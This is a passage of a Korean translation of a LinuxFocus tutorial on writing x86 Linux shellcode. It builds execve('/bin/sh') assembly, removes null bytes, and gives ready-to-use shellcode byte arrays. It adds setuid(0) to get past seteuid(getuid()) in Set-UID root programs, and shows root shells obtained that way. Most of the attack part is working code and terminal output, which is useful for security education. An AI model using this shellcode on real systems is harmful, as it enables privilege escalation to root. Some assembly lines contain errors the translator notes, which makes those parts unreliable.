이글에서는 "/bin/sh
"을 말한다.
(0x804d9b1 : mov 0x8(%ebp),%edi
와
0x804d9c9 : mov %edi,%ebx
명령이
이 역할을 수행한다.) ;%ecx
는 인자들의 배열 주소를 가지고 있다
(0x804d9c2 : mov 0xc(%ebp),%ecx
).
첫번째 인자는 프로그램의 이름이어야하며,다른 것은 필요없다.
(배열은 문자열 "/bin/sh
"의 주소와 NULL포인터만으로도 충분하다;
%edx
는 프로그램을 실행하기 위한 환경이 표현된 배열의 주소를
가지고 있다(0x804d9c5 : mov 0x10(%ebp),%edx
).
이 글에서는 프로그램을 간단하게하기 위해, 환경설정을 하지 않았다
(empty environment): NULL포인터가 이 역할을 충분히 수행한다._exit()
함수는 프로세스를 끝내고, 그것의 부모(일반적으로
shell)에게 %ebx
에 저장된 실행코드를 돌려준다 ;우리는 문자열 "/bin/sh
"과 이 문자열을 가리키는 포인터, 그리고
NULL포인터가 필요하다(명령에 대한 인수로 아무것도 주지 않았고,
환경또한 선언하지 않았기 때문이다.).우리는 execve()
호출전에 가능한 데이터 표현을 알 수 있다. NULL 포인터가 뒤따르며,
문자열/bin/sh
을 인수로 갖는 포인터의 배열을 만들고,
%ebx
은 문자열을 가르키고,%ecx
은 배열
전체를,%edx
는 배열의 두번째 인자인 NULL을 가르키게
하라. 이것을 그림으로 나타내면 diag. 5와 같다.
vulnerable한 프로그램에 shellcode를 넣는 일반적인 방법은
shellcode를 정형화된 문자열이나 환경변수로 선언하여
프로그램 실행시 프로그램의 인수로 주는 것이다.
우리는 shellcode를 만들었지만 이것을 사용하기 위해 필요한
shellcode의 주소를 모르고 잇다. 이말은 결국, "/bin/sh
"
문자열의 주소를 알아야 한다는 말이다. 우리는 이 주소를 얻기 위해
약간의 속임수(trick)를 쓸 수 있다.
call
명령으로 subroutine(함수라고 이해하면 된다.)을
호출했을 때,CPU는 스택에 return address를 저장한다. 이 address는 앞의
글에서 살펴본 바와 같이 call
명령 바로 뒤를 따른다.
일반적으로,이 다음단계에서는 stack의 상태를 저장하는 동작이 일어난다
(push %ebp명령
).따라서 subroutine에 들어갈때 pop
명령을 사용한다면 return address를 얻을 수 있다.(pop
은
unstack동작을 한다.) 물론, 문자열의 주소를 제공할 "home made prolog"를
위해서 call
명령어 바로 뒤에 "/bin/sh
"문자열을
저장한다:
beginning_of_shellcode: jmp subroutine_call subroutine: popl %esi ... (Shellcode itself) ... subroutine_call: call subroutine /bin/sh
subroutine이 실제로 있는 것은 아니다. 여기에서는 execve()
의 호출이 성공하면 프로세스는 shell로 대체될 것이며, 호출이 실패한다면
_exit()
가 프로그램을 종료시킬 것이다. %esi
는
"/bin/sh
"의 주소를 우리에게 알려준다. 이제는 단지 문자열 뒤에
이 주소를 넣기만 하면 된다. 아래 그림에서 보듯이 첫번째 요소는 %esi
의
값을 가지고 있다.(first item은 %esi+8
의 위치에 존재하며,
여기서 8은 /bin/sh
의 길이에 null byte를 합친 것이다.)
두번째 요소는%esi+12
에 null address로 존재한다(32bit). 이것의
코드는 다음과 같다:
popl %esi movl %esi, 0x8(%esi) movl $0x00, 0xc(%esi)
diagram 6은 이를 그림으로 표현한 것이다:
이러한 취약점은 strcpy()
함수같은 문자열을
다루는 함수에서 종종 발견된다. 공격할 프로글매의 중간에
코드를 삽입하기 위해서, shellcode를 문자열처럼 복사해야
한다. 그러나 문제는 문자열을 복사하는 함수들이 null문자를
발견하면 곧바로 복사를 멈춘다는 데 있다. 따라서 우리가
만든 코드에는 이러한 null문자가 있어서는 안된다. 몇가지
기술을 사용하여 이러한 null byte문제를 피할 수 있다. 예를 들어,
다음의 명령어는
movl $0x00, 0x0c(%esi)아래의 명령어로 대체할 수 있다.
xorl %eax, %eax movl %eax, %0x0c(%esi)위의 예는 null byte를 사용하는 방법을 보여주고 있다. 그러나 어떤 명령어의 경우 hex값으로 변환시켜보면 이러한 null byte가 발견된다. 예를 들어,
_exit(0)
system-call이나 다른 함수에서도 이러한 현상이 나타난다.
%eax
에 1이란 값을 넣기 위해 _exit()에서 다음의 명령어를 사용하였다.
0x804d996 <_exit+6>: mov $0x1,%eax
b8 01 00 00 00 mov $0x1,%eax우리는 위와 같은 상황을 피해야 한다. 이를 해결하는 방안으로는
%eax
에
0이란 값을 넣고나서 이것을 증가시키는 것이 있다.
반면에 문자열 "/bin/sh
"은 반드시 null byte로 끝나야 한다.
shellcode작성시 이렇게 만들 수 있지만, 프로그램안에 삽입하는 방법에 따라
null byte가 마지막 프로그램(final application)에 나타나지 않을 수도 있다.
"/bin/sh
"에 null byte를 넣기위한 좋은 방법중에 하나를 아래에
소개한다:
/* movb는 오직 한 byte만 움직인다. */ /* 아래의 명령은 다음 명령과 같다. */ /* movb %al, 0x07(%esi) */ movb %eax, 0x07(%esi)
이제 shellcode를 만들기 위한 모든 준비가 끝났다.
아래는 앞에서 언급한 내용들을 적용시켜서 만든
shellcode4.c
이다:
/* shellcode4.c */ int main() { asm("jmp subroutine_call subroutine: /* /bin/sh 주소를 얻는다.*/ popl %esi /* 배열의 첫번째 요소인 이 주소를 넣는다. */ movl %esi,0x8(%esi) /* 배열의 두번째 요소인 NULL을 넣는다. */ xorl %eax,%eax movl %eax,0xc(%esi) /* 문자열의 끝에 null byte를 넣는다. */ movb %eax,0x7(%esi) /* execve() 함수 */ movb $0xb,%al /* %ebx안에 실행시킬 문자열의 주소를 넣는다. */ movl %esi, %ebx /* %ecx안에 배열을 넣는다. */ leal 0x8(%esi),%ecx /* %edx안에 배열의 환경을 넣는다. */ leal 0xc(%esi),%edx /* System-call */ int $0x80 /* Null을 돌려주는 코드*/ xorl %ebx,%ebx /* _exit() 함수 : %eax = 1 */ movl %ebx,%eax inc %eax /* System-call */ int $0x80 subroutine_call: subroutine_call .string \"/bin/sh\" "); }
"gcc -o shellcode4 shellcode4.c
"명령으로 코드를 컴파일 하라.
(역자주: 이대로 컴파일하면 에러만 발생하고 컴파일 되지 않는다.
subroutine_call에 적당한 값을 넣어주면 이를 피할 수 있다.
ex> jmp subroutine_call
-> jmp 0x1f
subroutine_call
-> call -0x24
).
"objdump --disassemble shellcode4
"명령은 실행파일내에
null byte가 존재하지 않음을 확인시켜줄 것이다:
08048398 <main>: 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp 804839b: eb 1f jmp 80483bc <subroutine_call> 0804839d <subroutine>: 804839d: 5e popl %esi 804839e: 89 76 08 movl %esi,0x8(%esi) 80483a1: 31 c0 xorl %eax,%eax 80483a3: 89 46 0c movb %eax,0xc(%esi) 80483a6: 88 46 07 movb %al,0x7(%esi) 80483a9: b0 0b movb $0xb,%al 80483ab: 89 f3 movl %esi,%ebx 80483ad: 8d 4e 08 leal 0x8(%esi),%ecx 80483b0: 8d 56 0c leal 0xc(%esi),%edx 80483b3: cd 80 int $0x80 80483b5: 31 db xorl %ebx,%ebx 80483b7: 89 d8 movl %ebx,%eax 80483b9: 40 incl %eax 80483ba: cd 80 int $0x80 080483bc <subroutine_call>: 80483bc: e8 dc ff ff ff call 804839d <subroutine> 80483c1: 2f das 80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c5: 2f das 80483c6: 73 68 jae 8048430 <_IO_stdin_used+0x14> 80483c8: 00 c9 addb %cl,%cl 80483ca: c3 ret 80483cb: 90 nop 80483cc: 90 nop 80483cd: 90 nop 80483ce: 90 nop 80483cf: 90 nop
비록 명령어로 표현되지는 않았지만, 문자열 "/bin/sh
"
(hex값으로 2f 62 69 6e 2f 73 68 00
으로 표현된다.)과
몇몇 바이트로 구성된 data를 804831c주소 뒤에서 발견할 수 있다.
80483c8에 있는 문자열의 끝을 나타내는 null문자를 제외하고,
코드의 어디에도 zero는 존재하지 않는다.
이제 이 프로그램을 테스트 해보자:
$ ./shellcode4 Segmentation fault (core dumped) $
테스트 결과를 통해, 이 프로그램이 아직 자신의 역할(shell을 실행시키는 것)을
충분히 수행하지 못한다는 것을 알 수 있다. 주의깊게 살펴보면 main()
함수가 위치하는 곳이 read-only영역(이글의 제일 앞에서 언급한 text
영역
을 말한다.)이라는 사실을 알 수 있을 것이다. shellcode또한 이영역의 내용을
바꿀 수 없다. 어떻게 하면 우리가 만든 shellcode를 테스트할 수 있을까?
read-only문제를 피해갈 수 있는 방법으로 shellcode를 data영역에
넣는 방법이 있다. shellcode를 전역변수 배열로 선언하자.
여기에 또다른 기술을 더하여 shellcode를 실행시킬 수 있다.
스택안에서 shellcode를 가지고 있는 배열의 주소를 알아내서,
main()
함수의 return address로 이 주소를 넣는 것이다.
main()
함수가 linker에 의해 추가되는 몇몇 코드에 의해 호출되는
기본적인 루틴("standard" routine)임을 잊지 말라.
아래예제에서는 스택의 처음 위치에서 두개의 문자 배열만큼의
공간만 덮어쓰면 return address를 조작할 수 있다.
/* shellcode5.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; /* +2 는 스택의 최상위(top)로부터 */ /* 2 words(8 bytes) offset 역할을 할 것이다. */ /* 첫번째 word는 지역변수를 위한 공간이며, */ /* 두번째 word는 저장된 %ebp(=sfp)의 공간이다. */ * ((int *) & ret + 2) = (int) shellcode; return (0); }
이제 우리 프로그램을 테스트해보자:
$ cc shellcode5.c -o shellcode5 $ ./shellcode5 bash$ exit $
우리는 단지 프로그램 shellcode5
를 Set-UID root로
설정하고, 이프로그램을 실행시켰을 때 root 권한으로 바뀌는것만
확인해보면 된다:
$ su Password: # chown root.root shellcode5 # chmod +s shellcode5 # exit $ ./shellcode5 bash# whoami root bash# exit $
이 shellcode는 다소 제한적이다(물론, 몇byte의 문제이긴 하지만). 아래의 프로그램을 예로 들자면:
/* shellcode5bis.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }이 프로그램은 지난번 글에서 추천했던 방식처럼, 프로세스의 실제UID값을 얻어서 effective UID를 지정하였다. 이런 프로그램에서는 shell이 실행될 때 특별한 권한을 갖지 않고 실행된다:
$ su Password: # chown root.root shellcode5bis # chmod +s shellcode5bis # exit $ ./shellcode5bis bash# whoami pappy bash# exit $그러나,
seteuid(getuid())
명령은 그리 효과적인 방어책이 되지 못한다.
이는 간단히 setuid(0)
을 호출하는 것으로 해결되는데, setuid(0);
은
shellcode의 앞부분에서 S-UID프로그램의 EUID를 제일 낮은 0으로
설정하는 것과 같은 효과를 갖는다.
이 명령어의 코드는 다음과 같다:
char setuid[] = "\x31\xc0" /* xorl %eax, %eax */ "\x31\xdb" /* xorl %ebx, %ebx */ "\xb0\x17" /* movb $0x17, %al */ "\xcd\x80";위의 코드를 앞의 shellcode와 조합하여 보자:
/* shellcode6.c */ char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }이것이 제대로 동작하는지 테스트 해보자.
$ su Password: # chown root.root shellcode6 # chmod +s shellcode6 # exit $ ./shellcode6 bash# whoami root bash# exit $이장의 마지막에 나오는 예는 shellcode를 함수에 삽입하는것이 가능하다는 것을 보여준다. 예를 들어,
chroot()
가 설정된 디렉토리를 빠져나오는 것이라던가,
socket을 사용하여 remote shell을 띄우는 일등이 있다.
이러한 shellcode의 변형은 그들이 사용되는 목적에 따라 shellcode안에서 몇byte의 값을 목적에 맞게 고쳐줘야 한다는 의미를 내포하고 있다:
eb XX |
<subroutine_call> |
XX = <subroutine_call>까지의 bytes수 |
<subroutine>: |
||
5e |
popl %esi |
|
89 76 XX |
movl %esi,XX(%esi) |
XX = XX = 배열의 첫번째 인자위치(실행할 명령의 주소). 이 offset은 실행할 명령과 '\0'이 포함된 값이다. |
31 c0 |
xorl %eax,%eax |
|
89 46 XX |
movb %eax,XX(%esi) |
XX = 배열의 두번째 인자위치,여기서는 NULL값을 갖는다. |
88 46 XX |
movb %al,XX(%esi) |
XX = 문자열 끝에 들어가는 '\0'의 위치. |
b0 0b |
movb $0xb,%al |
|
89 f3 |
movl %esi,%ebx |
|
8d 4e XX |
leal XX(%esi),%ecx |
XX = 배열에서 첫번째 인자가 있는 곳의 offset을 %ecx 에
넣는다. |
8d 56 XX |
leal XX(%esi),%edx |
XX = 배열에서 두번째 인자가 있는 곳의 offset을 %edx 에
넣는다. |
cd 80 |
int $0x80 |
|
31 db |
xorl %ebx,%ebx |
|
89 d8 |
movl %ebx,%eax |
|
40 |
incl %eax |
|
cd 80 |
int $0x80 |
|
<subroutine_call>: |
||
e8 XX XX XX XX |
call <subroutine> |
이 4 bytes는 <subroutine>까지의 bytes를 계산한 것이다. (little endian으로 음수로 표현된다.)<subroutine> |
우리는 이글을 통해 대략 40byte정도되는 프로그램을 만들고, 이를 이용해 root권한으로 외부명령어(external command)를 실행시킬 수 있다는 것을 알게 되었다. 또한 이장의 마지막 예를 통해 스택을 망가뜨릴 수 있는 방법을 살펴보았다. 이 기술에 대해서는 다음글에서 더 자세히 다룰 것이다....
|
Webpages maintained by the LinuxFocus Editor team
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Click here to report a fault or send a comment to LinuxFocus |
Translation information:
|
2001-04-27, generated by lfparser version 2.13